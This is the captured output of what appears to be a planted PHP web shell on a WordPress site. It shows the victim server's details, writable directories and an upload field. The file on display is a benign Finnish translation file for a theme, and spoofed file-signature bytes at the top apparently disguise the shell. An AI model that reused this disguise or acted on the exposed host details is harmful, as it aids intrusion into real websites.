%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/webroot/blog/wp-content/themes/Newspaper/translation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/webroot/blog/wp-content/themes/Newspaper/translation/fi.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: fi\n"


msgid "View all results"
msgstr "Katso kaikki tulokset"


msgid "No results"
msgstr "Ei tuloksia"


msgid "Home"
msgstr "Koti"


msgid "CLOSE"
msgstr "SULJE"


msgid "Page"
msgstr "Sivu"


msgid "All"
msgstr "Kaikki"


msgid "By"
msgstr "Tekijä"


msgid "Load more"
msgstr "Lataa lisää"


msgid "View all posts in"
msgstr "Katso kaikki viestit"


msgid "Tags"
msgstr "Tagit"


msgid "Previous article"
msgstr "Edellinen artikkeli"


msgid "Next article"
msgstr "Seuraava artikkeli"


msgid "Authors"
msgstr "Tekijät"


msgid "Author"
msgstr "Tekijä"


msgid "RELATED ARTICLES"
msgstr "LIITTYVÄT ARTIKKELIT"


msgid "MORE FROM AUTHOR"
msgstr "LISÄÄ TEKIJÄLTÄ"


msgid "VIA"
msgstr "KAUTTA"


msgid "SOURCE"
msgstr "LÄHDE"


msgid "TAGS"
msgstr "TAGIT"


msgid "SHARE"
msgstr "JAA"


msgid "Continue"
msgstr "Jatka"


msgid "Read more"
msgstr "Lue lisää"


msgid "Name:"
msgstr "Nimi:"


msgid "Email:"
msgstr "Sähköposti:"


msgid "Website:"
msgstr "Verkkosivu:"


msgid "Comment:"
msgstr "Kommentti:"


msgid "LEAVE A REPLY"
msgstr "JÄTÄ VASTAUS"


msgid "Post Comment"
msgstr "Lähetä Kommentti"


msgid "Cancel reply"
msgstr "Peruuta vastaus"


msgid "Reply"
msgstr "Vastaus"


msgid "Log in to leave a comment"
msgstr "Kirjaudu sisään jättääksesi kommentin"


msgid "NO COMMENTS"
msgstr "EI KOMMENTTEJA"


msgid "1 COMMENT"
msgstr "1 KOMMENTTI"


msgid "COMMENTS"
msgstr "KOMMENTIT"


msgid "REVIEW OVERVIEW"
msgstr "ARVOSTELUN YLEISNÄKYMÄ"


msgid "SUMMARY"
msgstr "TIIVISTELMÄ"


msgid "OVERALL SCORE"
msgstr "KOKONAISPISTEET"


msgid "Ooops... Error 404"
msgstr "Hups… Error 404"


msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "Pahoittelut, mutta etsimääsi sivustoa ei ole olemassa."


msgid "You can go to the"
msgstr "Voit mennä kotisivulle"


msgid "HOMEPAGE"
msgstr "KOTISIVU"


msgid "OUR LATEST POSTS"
msgstr "VIIMEISIMMÄT VIESTIT"


msgid "Posts by"
msgstr "Viestit"


msgid "POSTS"
msgstr "VIESTIT"


msgid "Posts tagged with"
msgstr "Viestit, jotka on tagattu"


msgid "Tag"
msgstr "Tagi"


msgid "Daily Archives:"
msgstr "Päivittäiset Arkistot:"


msgid "Monthly Archives:"
msgstr "Kuukausittaiset Arkistot:"


msgid "Yearly Archives:"
msgstr "Vuosittaiset Arkistot:"


msgid "Archives"
msgstr "Arkistot"


msgid "LATEST ARTICLES"
msgstr "VIIMEISIMMÄT ARTIKKELIT"


msgid "search results"
msgstr "hakutulokset"


msgid "Search"
msgstr "Haku"


msgid "If you're not happy with the results, please do another search"
msgstr "Jos et ole tyytyväinen tuloksiin, hae uudelleen"


msgid "Contact us"
msgstr "Ota meihin yhteyttä"


msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "Sivu %CURRENT_PAGE% / %TOTAL_PAGES%"


msgid "Next"
msgstr "Seuraava"


msgid "Prev"
msgstr "Edellinen"


msgid "No results for your search"
msgstr "Hakusi ei tuottanut tuloksia"


msgid "No posts to display"
msgstr "Ei näytettäviä viestejä"


msgid "LOG IN"
msgstr "KIRJAUDU SISÄÄN"


msgid "Sign in / Join"
msgstr "Kirjaudu sisään / Liity"


msgid "Log In"
msgstr "Kirjaudu sisään"


msgid "REGISTER"
msgstr "REKISTERÖIDY"


msgid "Send My Pass"
msgstr "Lähetä Salasanani"


msgid "Forgot your password?"
msgstr "Unohditko salasanasi?"


msgid "Please wait..."
msgstr "Odota…"


msgid "User or password incorrect!"
msgstr "Käyttäjänimi tai salasana oli väärä!"


msgid "Email or username incorrect!"
msgstr "Sähköposti tai käyttäjänimi oli väärä!"


msgid "Email incorrect!"
msgstr "Sähköposti oli väärä!"


msgid "User or email already exists!"
msgstr "Käyttäjänimi tai sähköpostiosoite on jo käytössä!"


msgid "Please check you email (index or spam folder), the password was sent there."
msgstr "Tarkista sähköpostisi (saapuvat tai roskapostikansio), salasana lähetettiin sinne."


msgid "Email address not found!"
msgstr "Sähköpostiosoitetta ei löytynyt!"


msgid "Your password is reset, check your email."
msgstr "Salasanasi nollattiin, tarkista sähköpostisi."


msgid "Welcome! Log into your account"
msgstr "Tervetuloa! Kirjaudu sisään käyttäjätilillesi"


msgid "Register for an account"
msgstr "Rekisteröi käyttäjätili"


msgid "Recover your password"
msgstr "Palauta salasanasi"


msgid "your username"
msgstr "käyttäjänimesi"


msgid "your password"
msgstr "salasanasi"


msgid "your email"
msgstr "sähköpostisi"


msgid "A password will be e-mailed to you."
msgstr "Salasana lähetetään sinulla sähköpostitse."


msgid "Logout"
msgstr "Kirjaudu ulos"


msgid "Like"
msgstr "Tykkää"


msgid "Fans"
msgstr "Fanit"


msgid "Follow"
msgstr "Seuraa"


msgid "Followers"
msgstr "Seuraajat"


msgid "Subscribe"
msgstr "Tilaa"


msgid "Subscribers"
msgstr "Tilaajat"


msgid "MORE STORIES"
msgstr "LISÄÄ TARINOITA"


msgid "Latest"
msgstr "Viimeisin"


msgid "Featured posts"
msgstr "Pääviestit"


msgid "Most popular"
msgstr "Suosituin"


msgid "7 days popular"
msgstr "7 päivän suosituin"


msgid "By review score"
msgstr "Arvostelupisteiden mukaan"


msgid "Random"
msgstr "Satunnainen"


msgid "Trending Now"
msgstr "Nouseva Nyt"


msgid "POPULAR CATEGORY"
msgstr "SUOSITTU KATEGORIA"


msgid "EVEN MORE NEWS"
msgstr "LISÄÄ UUTISIA"


msgid "Previous (Left arrow key)"
msgstr "Edellinen (Vasen nuolinäppäin)"


msgid "Next (Right arrow key)"
msgstr "Seuraava (Oikea nuolinäppäin)"


msgid "%curr% of %total%"
msgstr "%curr% / %total%"


msgid "The content from %url% could not be loaded."
msgstr "Sisältöä osoitteesta %url% ei voitu ladata."


msgid "The image #%curr% could not be loaded."
msgstr "Kuvaa #%curr% ei voitu ladata."


msgid "Blog"
msgstr "Blogi"


msgid "Share on Facebook"
msgstr "Jaa Facebookissa"


msgid "Tweet on Twitter"
msgstr "Tweettaa Twitterissä"


msgid "EDITOR PICKS"
msgstr "POIMINTOJA"


msgid "POPULAR POSTS"
msgstr "SUOSITUIMMAT VIESTIT"


msgid "FOLLOW US"
msgstr "SEURAA MEITÄ"


msgid "ABOUT US"
msgstr "MEISTÄ"


msgid "More"
msgstr "Lisää"


msgid "Featured"
msgstr "Varustellun"


msgid "All time popular"
msgstr "Kaikkien aikojen suosituimpia"


msgid "Likes"
msgstr "Tykkää"


msgid "Register"
msgstr "Rekisteri"


msgid "of"
msgstr "of"


msgid "Euro Member Countries"
msgstr "Euro- maissa"


msgid "Your comment is awaiting moderation"
msgstr "Kommenttisi odottaa moderointia"


msgid "Follow us on Instagram"
msgstr "Seuraa meitä instagram"


msgid "Back"
msgstr "Takaisin"


msgid "Sign in"
msgstr "Kirjaudu sisään"


msgid "Sign up"
msgstr "Kirjaudu"


msgid "Join"
msgstr "Liittyä seuraan"


msgid "Welcome!"
msgstr "Tervetuloa!"


msgid "Log into your account"
msgstr "Kirjaudu tilillesi"


msgid "Password recovery"
msgstr "Salasanan palautus"


msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "Tarkista sähköpostisi (indeksi tai roskapostikansio), salasana lähetettiin sinne."


msgid "Australian Dollar"
msgstr "Australian dollari"


msgid "Bulgarian Lev"
msgstr "Bulgarian lev"


msgid "Brazilian Real"
msgstr "Brasilian real"


msgid "Canadian Dollar"
msgstr "Kanadan dollari"


msgid "Swiss Franc"
msgstr "Sveitsin frangi"


msgid "Chinese Yuan Renminbi"
msgstr "Kiinan yuan renminbi"


msgid "Czech Republic Koruna"
msgstr "Tšekki koruna"


msgid "Danish Krone"
msgstr "Tanskan kruunu"


msgid "British Pound"
msgstr "Englannin punta"


msgid "Hong Kong Dollar"
msgstr "Hongkongin dollari"


msgid "Croatian Kuna"
msgstr "Kroatian kuna"


msgid "Hungarian Forint"
msgstr "Unkarin forintti"


msgid "Indonesian Rupiah"
msgstr "Indonesian rupia"


msgid "Israeli Shekel"
msgstr "Israelin shekel"


msgid "Indian Rupee"
msgstr "Intian rupia"


msgid "Japanese Yen"
msgstr "Japanin jeniä"


msgid "Korean (South) Won"
msgstr "Korean (etelä) wonia"


msgid "Mexican Peso"
msgstr "Meksikon peso"


msgid "Malaysian Ringgit"
msgstr "Malesian ringgit"


msgid "Norwegian Krone"
msgstr "Norja kruunu"


msgid "New Zealand Dollar"
msgstr "Uuden-Seelannin dollari"


msgid "Philippine Peso"
msgstr "Filippiinien peso"


msgid "Polish Zloty"
msgstr "Puolan zloty"


msgid "Romanian (New) Leu"
msgstr "Romania (uusi) leu"


msgid "Russian Ruble"
msgstr "Venäjän rupla"


msgid "Swedish Krona"
msgstr "Ruotsin kruunu"


msgid "Singapore Dollar"
msgstr "Singaporen dollari"


msgid "Thai Baht"
msgstr "Thaimaan baht"


msgid "Turkish Lira"
msgstr "Turkin liira"


msgid "United States Dollar"
msgstr "Yhdysvaltain dollari"


msgid "South African Rand"
msgstr "Etelä-afrikkalainen rand"


msgid "Privacy Policy"
msgstr "Tietosuojakäytäntö"


msgid "views"
msgstr "näkymät"


msgid "Modified date:"
msgstr "Muokattu päivämäärä:"


msgid "Please enter your name here"
msgstr "Kirjoita nimesi tähän"


msgid "Please enter your email address here"
msgstr "Kirjoita sähköpostiosoitteesi tähän"


msgid "You have entered an incorrect email address!"
msgstr "Olet antanut väärän sähköpostiosoitteen!"


msgid "Please enter your comment!"
msgstr "Kirjoita kommenttisi!"


msgid "Logged in as"
msgstr "Kirjautuneena sisään nimellä"


msgid "Log out?"
msgstr "Kirjautua ulos?"


msgid "Logged in as %s. Edit your profile."
msgstr "Kirjautunut sisään nimellä% s. Muokkaa profiiliasi."


msgid "Edit"
msgstr "Muokata"


msgid "Login"
msgstr "Kirjaudu sisään"


msgid "Send My Password"
msgstr "Lähetä salasanani"


msgid "Create an account"
msgstr "Luo tili"


msgid "Welcome! Register for an account"
msgstr "Tervetuloa! rekisteröidy tilille"


msgid "About me"
msgstr "Minusta"


msgid "Save my name, email, and website in this browser for the next time I comment."
msgstr "Tallenna nimi, sähköpostiosoite ja verkkosivusto tällä selaimella seuraavan kerran kommentoidessani."


msgid "Orders"
msgstr "Tilauksia"


msgid "Addresses"
msgstr "Osoitteita"


msgid "Account settings"
msgstr "Tilin asetukset"


msgid "Hello"
msgstr "Hei"


msgid "No products in the cart."
msgstr "Ei tuotteita ostoskorissa."


msgid "Product categories"
msgstr "Tuoteryhmät"


msgid "Product tags"
msgstr "Tuotetunnisteet"


msgid "Success"
msgstr "Menestys"


msgid "Acknowledgment is required!"
msgstr "Tunnustus vaaditaan!"


msgid "Please fill in a valid email."
msgstr "Täytä kelvollinen sähköposti."


msgid "Please fill in an email address."
msgstr "Täytä sähköpostiosoite."


msgid "Get into your account."
msgstr "Päästä tilillesi."


msgid "My subscription account"
msgstr "Tilaustilini"


msgid "Account details"
msgstr "Tilin tiedot"


msgid "Subscriptions"
msgstr "Tilauksia"


msgid "My woo account"
msgstr "Minun woo tilini"


msgid "Log out"
msgstr "Kirjautua ulos"


msgid "Email address"
msgstr "Sähköpostiosoite"


msgid "Username"
msgstr "Käyttäjätunnus"


msgid "Password"
msgstr "Salasana"


msgid "must contain at least one lower case (a..z)"
msgstr "tulee sisältää vähintään yksi pieni kirjain (a..z)"


msgid "must contain at least one upper case (A..Z)"
msgstr "tulee sisältää vähintään yksi iso kirjain (a..z)"


msgid "must contain at least 6 characters in length"
msgstr "tulee sisältää vähintään 6 merkkiä"


msgid "Repeat password"
msgstr "Toista salasana"


msgid "Already have an account?"
msgstr "Onko sinulla jo tili?"


msgid "Recover password"
msgstr "Palauta salasana"


msgid "Username or Email address"
msgstr "Käyttäjänimi tai Sähköpostiosoite"


msgid "Forgot password?"
msgstr "Unohtuiko salasana?"


msgid "Don't have an account?"
msgstr "Eikö sinulla ole tiliä?"


msgid "Dashboard"
msgstr "Kojelauta"


msgid "Welcome to your account!"
msgstr "Tervetuloa tilillesi!"


msgid "Hello %1$s (not %2$s? %3$s)! From your account dashboard you can view your subscriptions and manage your account details."
msgstr "Hei %1$s (ei %2$s? %3$s)! tilisi hallintapaneelista voit tarkastella tilauksiasi ja hallita tilitietojasi."


msgid "Lost Password"
msgstr "Kadonnut Salasana"


msgid "Manage your account details."
msgstr "Hallita tilitietojasi."


msgid "First name"
msgstr "Etunimi"


msgid "Last name"
msgstr "Sukunimi"


msgid "Display name"
msgstr "Näyttönimi"


msgid "Current password"
msgstr "Nykyinen salasana"


msgid "(leave blank to leave unchanged)"
msgstr "(jätä tyhjäksi jättääksesi ennalleen)"


msgid "New password"
msgstr "Uusi salasana"


msgid "Confirm new password"
msgstr "Vahvista uusi salasana"


msgid "Save changes"
msgstr "Tallenna muutokset"


msgid "All your subscriptions."
msgstr "Kaikki tilauksesi."


msgid "Plan"
msgstr "Suunnitelma"


msgid "Payment type"
msgstr "Maksutapa"


msgid "Status"
msgstr "Tila"


msgid "Months"
msgstr "Kuukaudet"


msgid "Start date"
msgstr "Aloituspäivämäärä"


msgid "End date"
msgstr "Päättymispäivä"


msgid "missing plan"
msgstr "suunnitelma puuttuu"


msgid "Free"
msgstr "Vapaa"


msgid "Active"
msgstr "Aktiivinen"


msgid "Trial"
msgstr "Oikeudenkäyntiä"


msgid "Blocked"
msgstr "Tukossa"


msgid "Closed"
msgstr "Suljettu"


msgid "Not paid"
msgstr "Ei maksettu"


msgid "Awaiting payment"
msgstr "Odotetaan maksua"


msgid "Subscription info"
msgstr "Tilaustiedot"


msgid "ID"
msgstr "ID"


msgid "Name"
msgstr "Nimi"


msgid "Company name"
msgstr "Yrityksen nimi"


msgid "VAT"
msgstr "ARVONLISÄVERO"


msgid "Address"
msgstr "Osoite"


msgid "City"
msgstr "Kaupunki"


msgid "Country/State"
msgstr "Maa/osavaltio"


msgid "Email"
msgstr "Sähköposti"


msgid "Postal code"
msgstr "Postinumero"


msgid "Direct bank transfer details"
msgstr "Suoran pankkisiirron tiedot"


msgid "Account name"
msgstr "Tilin nimi"


msgid "Account number"
msgstr "Tilinumero"


msgid "Bank name"
msgstr "Pankin nimi"


msgid "Routing number"
msgstr "Reititysnumero"


msgid "IBAN"
msgstr "IBAN"


msgid "Bic/Swift"
msgstr "Bic/swift"


msgid "Instructions"
msgstr "Ohjeet"


msgid "No subscription created."
msgstr "Tilausta ei luotu."


msgid "Choose plan"
msgstr "Valitse suunnitelma"


msgid "Payment methods"
msgstr "Maksutavat"


msgid "Total"
msgstr "Kaikki yhteensä"


msgid "Period"
msgstr "Ajanjaksoa"


msgid "Subscription summary"
msgstr "Tilausten yhteenveto"


msgid "Phone"
msgstr "Puhelin"


msgid "Postcode"
msgstr "Postinumero"


msgid "County"
msgstr "Lääni"


msgid "Town/City"
msgstr "Kaupunki kaupunki"


msgid "Street address"
msgstr "Katuosoite"


msgid "Country/Region"
msgstr "Maa/alue"


msgid "VAT Number"
msgstr "Alv numero"


msgid "(optional)"
msgstr "(valinnainen)"


msgid "Billing details"
msgstr "Laskutustiedot"


msgid "User information"
msgstr "Käyttäjän tiedot"


msgid "It seems that no available payment methods have been configured."
msgstr "Näyttää siltä, että käytettävissä olevia maksutapoja ei ole määritetty."


msgid "Thank you! We are delighted to see you here. Your subscription will be activated soon!"
msgstr "Kiitos! olemme iloisia nähdessämme sinut täällä. tilauksesi aktivoidaan pian!"


msgid "Our bank details"
msgstr "Pankkitietomme"


msgid "Your subscription details"
msgstr "Tilauksesi tiedot"


msgid "View subscription"
msgstr "Katso tilaus"


msgid "You have not selected a valid subscription plan."
msgstr "Et ole valinnut kelvollista tilaussuunnitelmaa."


msgid "Field empty"
msgstr "Kenttä tyhjä"


msgid "Empty first name"
msgstr "Tyhjä etunimi"


msgid "Empty last name"
msgstr "Tyhjä sukunimi"


msgid "Empty country"
msgstr "Tyhjä maa"


msgid "Empty address"
msgstr "Tyhjä osoite"


msgid "Empty city"
msgstr "Tyhjä kaupunki"


msgid "Empty county"
msgstr "Tyhjä kunta"


msgid "Empty postcode"
msgstr "Tyhjä postinumero"


msgid "Empty phone"
msgstr "Tyhjä puhelin"


msgid "Empty email"
msgstr "Tyhjä sähköposti"


msgid "Email or username empty!"
msgstr "Sähköpostiosoite tai käyttäjätunnus tyhjä!"


msgid "Pass empty!"
msgstr "Pass tyhjä!"


msgid "Username incorrect!"
msgstr "Käyttäjätunnus väärä!"


msgid "Invalid Pass Pattern!"
msgstr "Virheellinen läpäisymalli!"


msgid "Please activate your account by following the link sent to your email address."
msgstr "Aktivoi tilisi seuraamalla sähköpostiosoitteeseesi lähetettyä linkkiä."


msgid "Resend activation link"
msgstr "Lähetä aktivointilinkki uudelleen"


msgid "In order to have access to this section, you have to activate your account."
msgstr "Päästäksesi tähän osioon, sinun on aktivoitava tilisi."


msgid "Email empty!"
msgstr "Sähköposti tyhjä!"


msgid "Username empty!"
msgstr "Käyttäjätunnus tyhjä!"


msgid "Pass pattern incorrect!"
msgstr "Passikuvio väärä!"


msgid "Retyped pass empty!"
msgstr "Uudelleenkirjoitettu passi tyhjä!"


msgid "Retyped pass exactly!"
msgstr "Kirjoitettu uudelleen täsmälleen!"


msgid "User already exists!"
msgstr "Käyttäjä on jo olemassa!"


msgid "Email already exists!"
msgstr "Sähköposti on jo olemassa!"


msgid "Your account could not be created."
msgstr "Tiliäsi ei voitu luoda."


msgid "Please check your email (inbox or spam folder) to validate your account."
msgstr "Tarkista sähköpostisi (postilaatikko tai roskapostikansio) vahvistaaksesi tilisi."


msgid "User empty!"
msgstr "Käyttäjä tyhjä!"


msgid "User does not exists!"
msgstr "Käyttäjää ei ole olemassa!"


msgid "New activation link was generated. Please check your email (inbox or spam folder) to validate your account."
msgstr "Uusi aktivointilinkki luotiin. tarkista sähköpostisi (postilaatikko tai roskapostikansio) vahvistaaksesi tilisi."


msgid "CAPTCHA verification failed!"
msgstr "Captcha-vahvistus epäonnistui!"


msgid "CAPTCHA user score failed. Please contact us!"
msgstr "Captcha-käyttäjän tulos epäonnistui. ota meihin yhteyttä!"


msgid "Loading"
msgstr "Ladataan"


msgid "Here are the results for the search:"
msgstr "Tässä haun tulokset:"


msgid "Price"
msgstr "Hinta"


msgid "EXCLUSIVE"
msgstr "YKSINOMAINEN"


msgid "Tel:"
msgstr "Puh:"


msgid "Share"
msgstr "Jaa"


msgid "Print"
msgstr "Tulosta"


msgid "At"
msgstr "Klo"


msgid "Comments are closed."
msgstr "Kommenttien lisääminen on estetty."


msgid "My account"
msgstr "Tilini"


msgid "Payment method"
msgstr "Maksutapa"


VaKeR 2022